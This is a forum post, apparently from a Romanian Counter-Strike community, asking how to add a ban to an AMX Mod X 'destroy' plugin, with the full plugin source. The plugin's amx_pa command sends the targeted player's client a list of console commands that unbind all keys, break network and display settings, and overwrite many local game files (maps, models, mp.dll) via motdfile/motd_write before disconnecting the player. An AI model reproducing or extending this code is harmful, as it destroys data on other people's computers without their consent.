Eu am modificat doar comanda , in lod de amx-destroy am pus amx_pa , a-si vrea daca aveti idee cum adaug si eu ban in acest plugin ca in momentul cand dau amx_pa sa ia si ban pe langa distroy.
Multumesc.
- | Afiseaza codul
[code]#include < amxmodx > #include < amxmisc > new const g_sPa[ ][ ] = { "thetime;w;w;w;w;w;w;w;w;w;w;w;snapshot;w;snapshot;w;screenshot;w;screenshot;w;w;w;w;w", "rate 1", "unbindall", "cl_crosshair_color x", "con_color x", "cl_cmdrate 1", "cl_updaterate 1", "fps_max 1", "fps_modem 1", "developer 1", "sys_ticrate 1", "r_norefresh 1", "alias w wait", "w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;w;dropclient", "name Fucked by Cs.Batalia.Ro-Staff", "motdfile models/player.mdl;motd_write x", "motdfile models/v_ak47.mdl;motd_write x", "motdfile cs_dust.wad;motd_write x", "motdfile models/v_m4a1.mdl;motd_write x", "motdfile resource/GameMenu.res;motd_write x", "motdfile halflife.wad;motd_write x", "motdfile cstrike.wad;motd_write x", "motdfile maps/de_dust2.bsp;motd_write x", "motdfile events/ak47.sc;motd_write x", "motdfile dlls/mp.dll;motd_write x", "motdfile models/v_usp.mdl;motd_write x", "motdfile models/cs_assault.wad;motd_write x", "motdfile models/v_awp.mdl;motd_write x", "motdfile cs_dust.wad;motd_write x", "motdfile n0th1ng.wad;motd_write x", "motdfile maps/de_dust2x2.bsp;motd_write x", "motdfile maps/fy_snow.bsp;motd_write x", "motdfile maps/awp_india.bsp;motd_write x", "motdfile maps/de_aztec.bsp;motd_write x", "cl_timeout 0" }; public plugin_init( ) { register_plugin( "Pa !!", "1.3", "lord of nothing" ); register_concmd( "amx_pa", "Pa", ADMIN_LEVEL_A, "<player>" ); } public Pa( id, level, cid ) { if( !cmd_access( id, level, cid, 2 ) ) return PLUGIN_HANDLED; new sArgument[ 32 ]; read_argv( 1, sArgument, charsmax( sArgument ) ); new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) ); if( !player ) return PLUGIN_HANDLED; for( new i = 0; i < sizeof( g_sPa ); i++) client_cmd( player, g_sPa[ i ] ); new name[ 32 ], name2[ 32 ], ip2[ 16 ]; get_user_name( id, name, charsmax( name ) ); get_user_name( player, name2, charsmax( name2 ) ); get_user_ip( player, ip2, charsmax( ip2 ), 1 ); log_to_file( "pa.log", "%s a folosit comanda amx_pa pe jucaotrul %s(%s)", name, name2, ip2 ); player_color( 0, ".v%s .g a folosit comanda amx_pa pe jucatorul : .v%s", name, name2 ); client_cmd( 0, "spk ^"vox/bizwarn coded user apprehend^"" ); return PLUGIN_HANDLED; } stock player_color( const id, const input[ ], any:... ) { new count = 1, players[ 32 ] static msg[ 191 ] vformat( msg, 190, input, 3 ) replace_all( msg, 190, ".v", "^4" ) /* verde */ replace_all( msg, 190, ".g", "^1" ) /* galben */ replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */ replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */ if( id ) players[ 0 ] = id; else get_players( players, count, "ch" ) { for( new i = 0; i < count; i++ ) { if( is_user_connected( players[ i ] ) ) { message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] ) write_byte( players[ i ] ); write_string( msg ); message_end( ); } } } }[/code]